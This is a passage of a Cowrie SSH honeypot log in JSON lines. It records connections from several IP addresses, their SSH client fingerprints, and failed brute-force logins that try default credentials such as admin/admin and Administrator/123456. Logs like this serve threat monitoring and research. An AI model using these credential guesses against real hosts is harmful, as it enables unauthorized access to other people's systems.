{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44420,"dst_ip":"159.203.135.109","dst_port":22,"session":"85df8c0bc327","protocol":"ssh","message":"New connection: 159.203.92.129:44420 (159.203.135.109:22) [session: 85df8c0bc327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:26:37.720528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:26:37.726060Z","src_ip":"159.203.92.129","session":"85df8c0bc327","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:26:37.731206Z","src_ip":"159.203.92.129","session":"85df8c0bc327","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Admin","password":"admin","message":"login attempt [Admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:26:37.746919Z","src_ip":"159.203.92.129","session":"85df8c0bc327","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:26:38.754485Z","src_ip":"159.203.92.129","session":"85df8c0bc327","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":62712,"dst_ip":"159.203.135.109","dst_port":22,"session":"945107a54441","protocol":"ssh","message":"New connection: 194.59.206.2:62712 (159.203.135.109:22) [session: 945107a54441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:26:41.368948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:26:41.977227Z","src_ip":"194.59.206.2","session":"945107a54441","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:26:41.981200Z","src_ip":"194.59.206.2","session":"945107a54441","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:26:43.309787Z","src_ip":"194.59.206.2","session":"945107a54441","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":52570,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e84a2c223d2","protocol":"ssh","message":"New connection: 103.228.69.212:52570 (159.203.135.109:22) [session: 5e84a2c223d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:26:45.460293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:26:45.465174Z","src_ip":"103.228.69.212","session":"5e84a2c223d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:26:45.689895Z","src_ip":"103.228.69.212","session":"5e84a2c223d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Password1234","message":"login attempt [admin/Password1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:26:46.623971Z","src_ip":"103.228.69.212","session":"5e84a2c223d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:26:47.852338Z","src_ip":"103.228.69.212","session":"5e84a2c223d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":35138,"dst_ip":"159.203.135.109","dst_port":22,"session":"b334fcc27bf6","protocol":"ssh","message":"New connection: 37.143.61.84:35138 (159.203.135.109:22) [session: b334fcc27bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:27:17.787962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:27:18.085805Z","src_ip":"37.143.61.84","session":"b334fcc27bf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:27:20.032273Z","src_ip":"37.143.61.84","session":"b334fcc27bf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54532,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a0bba15c5be","protocol":"ssh","message":"New connection: 159.203.92.129:54532 (159.203.135.109:22) [session: 2a0bba15c5be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:27:20.101265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:27:20.111045Z","src_ip":"159.203.92.129","session":"2a0bba15c5be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:27:20.117962Z","src_ip":"159.203.92.129","session":"2a0bba15c5be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Admin","password":"password","message":"login attempt [Admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:27:20.135290Z","src_ip":"159.203.92.129","session":"2a0bba15c5be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:27:21.143327Z","src_ip":"159.203.92.129","session":"2a0bba15c5be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"devdev123","message":"login attempt [dev/devdev123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:27:22.495986Z","src_ip":"37.143.61.84","session":"b334fcc27bf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:27:26.197546Z","src_ip":"37.143.61.84","session":"b334fcc27bf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":41786,"dst_ip":"159.203.135.109","dst_port":22,"session":"497ea01fc0b0","protocol":"ssh","message":"New connection: 103.228.69.212:41786 (159.203.135.109:22) [session: 497ea01fc0b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:27:44.259967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:27:44.264322Z","src_ip":"103.228.69.212","session":"497ea01fc0b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:27:44.491583Z","src_ip":"103.228.69.212","session":"497ea01fc0b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456!@#$%^","message":"login attempt [ubuntu/123456!@#$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:27:45.434575Z","src_ip":"103.228.69.212","session":"497ea01fc0b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:27:46.668528Z","src_ip":"103.228.69.212","session":"497ea01fc0b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":43968,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bf5d2872cf6","protocol":"ssh","message":"New connection: 2.57.122.238:43968 (159.203.135.109:22) [session: 9bf5d2872cf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:27:52.290229Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:27:52.395674Z","src_ip":"2.57.122.238","session":"9bf5d2872cf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":32826,"dst_ip":"159.203.135.109","dst_port":22,"session":"a77e799229a6","protocol":"ssh","message":"New connection: 159.203.92.129:32826 (159.203.135.109:22) [session: a77e799229a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:28:02.132689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:28:02.138051Z","src_ip":"159.203.92.129","session":"a77e799229a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:28:02.142816Z","src_ip":"159.203.92.129","session":"a77e799229a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Administrator","password":"123456","message":"login attempt [Administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:28:02.155972Z","src_ip":"159.203.92.129","session":"a77e799229a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:28:03.172213Z","src_ip":"159.203.92.129","session":"a77e799229a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":59234,"dst_ip":"159.203.135.109","dst_port":22,"session":"43467aeab0b6","protocol":"ssh","message":"New connection: 103.228.69.212:59234 (159.203.135.109:22) [session: 43467aeab0b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:28:41.549521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:28:41.554302Z","src_ip":"103.228.69.212","session":"43467aeab0b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:28:41.785673Z","src_ip":"103.228.69.212","session":"43467aeab0b6","protocol":"ssh"}
